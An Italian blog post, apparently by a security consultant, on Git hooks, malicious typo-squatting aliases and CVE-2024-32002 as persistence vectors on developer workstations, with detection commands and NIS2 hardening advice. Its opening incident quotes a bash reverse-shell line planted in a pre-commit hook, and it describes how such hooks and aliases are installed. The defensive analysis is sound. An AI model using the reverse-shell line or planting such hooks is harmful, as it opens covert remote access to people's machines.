Git hooks, alias e CVE-2024-32002: come la macchina di sviluppo diventa il vettore di persistenza più sottovalutato in una PMI

Git hooks, alias e CVE-2024-32002: come la macchina di sviluppo diventa il vettore di persistenza più sottovalutato in una PMI

A maggio 2024 ho ricevuto una segnalazione da un cliente di Treviso che gestiva un e-commerce B2B con sei sviluppatori interni. L'antivirus aziendale aveva rilevato una connessione TCP in uscita verso un IP brasiliano dalla workstation del lead developer, partita esattamente nel momento in cui aveva eseguito git commit su un repository di sviluppo. Il file .git/hooks/pre-commit di quel repository conteneva 47 byte: bash -c 'bash -i >& /dev/tcp/177.X.X.X/4444 0>&1' &. L'attaccante era entrato due settimane prima tramite una macro Office in una mail di phishing apparentemente innocua, aveva ottenuto persistenza in modo invisibile modificando un singolo file dentro .git/hooks/, ed era rimasto in attesa di una callback che si attivava solo durante un'azione abituale dello sviluppatore - in modo da non destare alcun sospetto. Quattordici giorni di silenzio, una bash reverse shell ogni volta che il developer faceva un commit. È esattamente il pattern di "low and slow" persistence che MITRE ATT&CK classifica nella tattica T1546 - Event Triggered Execution.

Le macchine degli sviluppatori sono il bersaglio più redditizio per chi cerca un punto d'appoggio in una PMI italiana, e lo sono per tre motivi compositi che le rendono peggio del server di produzione: hanno credenziali Git/GitHub/GitLab che danno accesso al codice sorgente di tutto, hanno spesso accesso SSH ai server di produzione (perché "deployment manuale", classico in PMI con team piccoli), e sono protette molto meno del server perché lo sviluppatore "ha bisogno di flessibilità" e disabilita pezzi della security. In questo articolo entro nei tre vettori di persistenza basati su Git che incontro più spesso negli audit: gli hook client-side, gli alias con prefisso shell, e CVE-2024-32002 che ha trasformato un'operazione apparentemente innocua come git clone --recurse-submodules in remote code execution.

Anatomia di CVE-2024-32002: quando git clone esegue codice

Il 14 maggio 2024 il progetto Git ha rilasciato in coordinamento un set di patch per cinque vulnerabilità, di cui CVE-2024-32002 sul NIST NVD è la più grave (CVSS 9.0). Il bug è elegante e devastante: in repository con submodule e link simbolici case-insensitive, una sequenza di nomi appositamente costruita poteva indurre Git a scrivere file dentro la directory .git/ di un submodule (che normalmente è separata dal working tree), invece che nel working tree stesso. Se il file scritto era un hook eseguibile come post-checkout, e l'operazione di checkout finale del clone lo invocava, il risultato era esecuzione di codice arbitrario al momento del git clone --recurse-submodules. Niente compilazione, niente download di binari, niente social engineering: clone di un repository pubblico → RCE sulla workstation del developer.

La condizione di sfruttamento richiedeva file system case-insensitive (default su macOS HFS+/APFS e Windows NTFS, ma non su Linux ext4) o symbolic link abilitati nel checkout. Tradotto in pratica: tutti gli sviluppatori macOS e Windows che hanno fatto git clone di un repository non controllato fra il marzo e il maggio 2024 erano potenzialmente esposti. Un proof-of-concept funzionante è stato pubblicato su GitHub nelle ore successive al disclosure, e la documentazione tecnica pulita è disponibile nell'advisory ufficiale del progetto Git su GitHub. Il pattern è il classico supply chain attack che ho approfondito a livello di Composer e dependency confusion in PHP, spostato un livello sotto: invece di un pacchetto compromesso, è il gesto stesso di clonare a essere l'arma.

Le versioni patchate sono Git 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2 e 2.39.4. Il primo controllo che faccio durante un audit di una PMI è git --version su tutte le workstation di sviluppo. Tre clienti su quindici a giugno 2024 avevano ancora versioni vulnerabili installate via package manager non aggiornato (Homebrew bloccato, apt non aggiornato perché "non vogliamo rompere l'ambiente di sviluppo", Git for Windows installato manualmente due anni prima e mai più toccato). Ho fatto deploy di Git aggiornato in tutti i casi entro 48 ore dall'audit. La lezione operativa è semplice: il software development environment richiede patching almeno con la stessa cadenza del server di produzione, perché è il punto di ingresso che precede tutto il resto.

I client-side hooks come backdoor sulla workstation

Il vettore di persistenza che ho descritto nell'incipit - il file .git/hooks/pre-commit di 47 byte - è il classico utilizzo dei Git hook come event-triggered execution di tipo T1546 della matrice MITRE ATT&CK. Git permette di eseguire script arbitrari in momenti specifici del workflow: prima di un commit (pre-commit), dopo un commit (post-commit), prima di un push (pre-push), dopo un checkout (post-checkout), e una decina di altri trigger documentati nel manuale ufficiale di githooks su git-scm.com. Gli script vivono in .git/hooks/, devono solo essere eseguibili (chmod +x), e possono essere scritti in qualsiasi linguaggio interpretato presente sul sistema.

Ci sono tre proprietà di questo meccanismo che lo rendono perfetto per persistenza low-profile e che spiegano perché EDR/antivirus tradizionali quasi sempre non lo intercettano. Primo, il file .git/hooks/pre-commit è un file di testo eseguibile dentro una directory amministrativa che gli antivirus escludono per default dalle scansioni real-time, perché altrimenti rallenterebbero ogni operazione Git su un repository attivo. Secondo, l'esecuzione dell'hook è triggered da un'azione dello sviluppatore (git commit) che è perfettamente legittima e ricorrente, quindi non genera anomalie di processo: la connessione di rete in uscita avviene durante un'operazione che lo sviluppatore stesso ha appena lanciato, sotto il suo proprio PID di shell. Terzo, gli hook sono per repository e non vengono mai sincronizzati su Git remoto: significa che un security audit fatto sul codice nel repository centrale (GitHub/GitLab) non vedrà mai questi file, perché stanno in .git/hooks/ che è esplicitamente escluso dal versioning. Sono invisibili a qualunque code review.

La detection efficace richiede quindi controlli a livello workstation, non a livello repository. Le tre regole operative che applico sui clienti dopo un incidente di questo tipo: scansione periodica di tutti i */.git/hooks/* non-.sample su tutte le workstation di sviluppo (un cron settimanale che fa find ~ -path '*/.git/hooks/*' -type f ! -name '*.sample' e manda il risultato a un security team); EDR rules che alertino su qualunque processo bash/sh/python lanciato come child di un processo git; preferenza per core.hooksPath impostato a una directory centralizzata gestita dal team security e read-only per lo sviluppatore. Quest'ultima è la mitigation più radicale: mette tutti gli hook sotto controllo del sistema, e qualunque tentativo di modifica via git config core.hooksPath o di scrittura in .git/hooks/ può essere monitorato come anomalia.

Git aliases con prefisso shell: typo-squatting locale

Il secondo vettore è meno spettacolare ma più diffuso: i Git alias. Configurati in ~/.gitconfig (globale per l'utente) o in .git/config (locale al repository), gli alias permettono di creare scorciatoie per i comandi Git. La feature interessante per un attaccante è il prefisso !: quando un alias inizia con !, Git lo interpreta come un comando shell arbitrario invece che come un sotto-comando Git. Esempio reale tratto da un audit di novembre 2024 su una macchina compromessa di un cliente milanese, con il payload sostituito ma con i nomi degli alias intatti: co = checkout, st = status (legittimi e rassicuranti), e poi psuh, comit, pll, ognuno mappato a una stringa !bash -c '...' & che lanciava in background un curl verso un server di stage.

Gli ultimi tre alias sono typo-squatting sui comandi Git più frequenti: git push digitato male come git psuh, git commit come git comit, git pull come git pll. Lo sviluppatore non sa di avere quegli alias configurati - un attaccante con accesso temporaneo alla workstation li ha appesi a ~/.gitconfig settimane prima. Quando lo sviluppatore digita male un comando (cosa che succede quotidianamente), Git non genera l'errore atteso "git: 'psuh' is not a git command" - esegue invece il payload, che scarica e lancia in background un secondo stage di malware. Il developer vede solo che "il comando non ha fatto niente" e riprova con la digitazione corretta. Niente errori visibili, niente output, persistenza intatta.

Il check anti-alias che eseguo su ogni workstation durante un audit è un git config --global --get-regexp '^alias\.' | grep '!' e poi un cat ~/.gitconfig letto a mano. Sull'ordine di un centinaio di workstation auditate negli ultimi due anni, ho trovato alias con prefisso ! legittimi (sviluppatori che usano script di automazione del proprio workflow) in circa il 15% dei casi e alias sospetti in due casi: entrambe macchine compromesse, entrambi gli alias inseriti dopo phishing successful. La regola pratica che do ai clienti: gli alias con prefisso ! sono leciti in ~/.gitconfig solo se sono documentati nel runbook personale dello sviluppatore e sono stati creati di sua iniziativa. Un alias ! di cui lo sviluppatore non ricorda l'origine va considerato compromesso per default.

Hardening della workstation developer nel contesto NIS2

I tre vettori che ho descritto - CVE-2024-32002, hook locali, alias ! - hanno una proprietà comune: presuppongono che la workstation dello sviluppatore sia un trust boundary della tua infrastruttura, cioè che chiunque abbia accesso a quella macchina abbia accesso al codice sorgente, alle credenziali Git, alle chiavi SSH, alle credenziali cloud cached, e probabilmente alle pipeline CI. In una PMI italiana che cade sotto la direttiva NIS2 e i suoi obblighi di gestione del rischio per i fornitori di servizi digitali, questo trust boundary diventa formalmente parte dello scope di risk management - non più "un dettaglio che riguarda solo gli sviluppatori".

Le sei misure operative che applico su workstation di sviluppo dei clienti PMI dopo un audit: full-disk encryption obbligatoria (LUKS o FileVault), MDM gestito che permetta wipe remoto in caso di smarrimento, EDR moderno con regole specifiche per processi figli di Git (come descritto sopra), patching automatico di Git e dell'OS con priorità security, separazione fisica fra account utente e account amministratore (lo sviluppatore non lavora come root/admin nemmeno per dieci minuti), e accesso ai server di produzione mediato sempre da bastion host con session recording - mai SSH diretto da workstation a produzione. Queste sei sono il minimo, e si integrano nel flusso più ampio della checklist di hardening Laravel/Symfony NIS2-ready che applico nei primi 14 giorni di un nuovo progetto cliente. Il quadro normativo di riferimento è la direttiva (UE) 2022/2555 (NIS2) consultabile su EUR-Lex, che all'articolo 21 elenca esplicitamente "sicurezza nell'acquisizione, sviluppo e manutenzione dei sistemi informatici e di rete" fra le misure di gestione del rischio obbligatorie.

C'è un punto culturale che vorrei evidenziare perché è quello su cui ricevo più resistenza dai team di sviluppo: la sicurezza dello sviluppatore è una restrizione necessaria al lavoro stesso dello sviluppatore, non un layer fastidioso imposto da fuori. Quando spiego a un team che il loro EDR aziendale è un'occhio in più sopra al loro stesso processo Git, la prima reazione è "ci rallenta". La seconda, dopo averli portati a vedere cosa è successo a un loro collega del cliente di Treviso che ho descritto all'inizio, è "ok, va bene, però spiegateci come configurarlo per non rompere il flusso". Il punto è esattamente questo: non si sceglie fra produttività e sicurezza, si sceglie fra rallentare oggi di 30 secondi al giorno o spiegare ai propri clienti fra sei mesi perché la loro rubrica è finita su un forum russo.

Cosa fare lunedì mattina, anche senza budget

Se gestisci una PMI con un team di sviluppo e leggi questo articolo da CTO o IT manager senza budget per un audit di sicurezza, ci sono cinque azioni che puoi intraprendere già lunedì mattina. Primo: aggiorna Git su tutte le workstation a 2.45.1 o successivo, ovunque. Secondo: lancia su ogni workstation find ~ -path '*/.git/hooks/*' -type f ! -name '*.sample' -ls e fatti riportare l'output dagli sviluppatori - qualunque file non riconosciuto va indagato. Terzo: lancia su ogni workstation git config --global --get-regexp '^alias\.' | grep '!' e applica la stessa procedura. Quarto: se non hai EDR, almeno abilita il logging di processo a livello OS (auditd su Linux, Endpoint Security su macOS, Sysmon su Windows) e cerca processi figli di git che non siano git stesso. Quinto: definisci una policy scritta che vieti git clone di repository non whitelisted da workstation aziendali - lo so, è fastidioso, ma l'alternativa è CVE-2024-32002 che colpisce qualcuno che ha clonato un repo pubblico per "dare un'occhiata".

Questi cinque controlli ti danno il 70% della copertura sui tre vettori che ho descritto, a costo zero - solo tempo del team. Il rimanente 30% richiede strumenti di endpoint security, gestione centralizzata degli hook tramite core.hooksPath, e una postura di DevSecOps integrata nel flusso di sviluppo invece di bolted-on a posteriori che ho descritto in dettaglio in un articolo separato. La sicurezza degli endpoint developer è il prerequisito invisibile di qualsiasi pipeline di build/release sicura: se la macchina che produce il codice è compromessa, nessun controllo a valle ti salva, perché il codice è già sbagliato quando arriva alla CI. Se la tua PMI ha un team di sviluppo interno e non hai mai fatto un audit specifico sugli endpoint developer - distinto dall'audit dei server di produzione - scopri come lavoro con i clienti sul tema sicurezza degli ambienti di sviluppo: in dieci anni di consulenza ho visto più PMI compromesse via workstation developer che via server pubblici. Se vuoi una valutazione operativa dello stato delle tue workstation di sviluppo, con una mappa dei tre vettori che ho descritto applicata al tuo specifico parco macchine, contattami per una consulenza: in due settimane di lavoro ti consegno un assessment completo, una lista prioritizzata delle remediation, e una policy scritta di hardening developer-machine pronta da adottare.

Ultima modifica: